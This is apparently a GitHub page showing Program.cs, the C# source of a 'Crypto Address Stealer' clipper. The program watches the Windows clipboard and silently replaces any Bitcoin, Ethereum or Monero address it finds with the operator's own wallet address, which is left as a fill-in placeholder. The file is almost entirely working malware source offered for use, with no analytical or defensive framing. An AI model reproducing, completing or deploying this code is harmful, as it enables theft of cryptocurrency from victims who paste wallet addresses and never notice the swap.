-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
94 lines (83 loc) · 3.19 KB
/
Program.cs
File metadata and controls
94 lines (83 loc) · 3.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using System.Text;
namespace Crypto_Address_Clipper
{
internal class Program
{
static void Main(string[] args)
{
Console.Title = "Crypto Address Stealer";
//Windows Clipboard cannot be accessed except in a STA thread
Thread thread1 = new Thread(Stealer);
thread1.SetApartmentState(ApartmentState.STA);
thread1.Start();
Console.ReadLine();
}
[STAThread]
public static void Stealer()
{
while (true)
{
//Uses custom method because Clipboard.GetText() Needs administration permissions
string clipboard = GetClipboard();
if (clipboard != string.Empty && clipboard!= "0x404")
{
Address.CryptoTypes cryptoType;
cryptoType = Address.ValidateCryptoType(clipboard);
switch (cryptoType)
{
case Address.CryptoTypes.BTC:
Console.WriteLine($"Changed: {clipboard} To: {YourAddresses.YourBtcAddressHere}");
Clipboard.SetText(YourAddresses.YourBtcAddressHere);
break;
case Address.CryptoTypes.ETH:
Console.WriteLine($"Changed: {clipboard} To: {YourAddresses.YourEthAddressHere}");
Clipboard.SetText(YourAddresses.YourEthAddressHere);
break;
case Address.CryptoTypes.XMR:
Console.WriteLine($"Changed: {clipboard} To: {YourAddresses.YourXmrAddressHere}");
Clipboard.SetText(YourAddresses.YourXmrAddressHere);
break;
case Address.CryptoTypes.NONE:
break;
}
}
Thread.Sleep(500);
}
}
//Uses this method because Clipboard.GetText() Needs administration permissions
private static string GetClipboard()
{
IDataObject iData = Clipboard.GetDataObject();
// Is Data Text?
if (iData.GetDataPresent(DataFormats.Text))
{
int failcounter = 0;
while (true)
{
try
{
string capturedText = iData.GetData(DataFormats.UnicodeText).ToString();
return capturedText;
}
catch (NullReferenceException)
{
failcounter++;
continue;
}
}
}
else
{
return "0x404";
}
}
private class YourAddresses
{
public static string YourBtcAddressHere = "PutYourBtcAddressHere";
public static string YourXmrAddressHere = "PutYourXmrAddressHere";
public static string YourEthAddressHere = "PutYourEthAddressHere";
}
}
}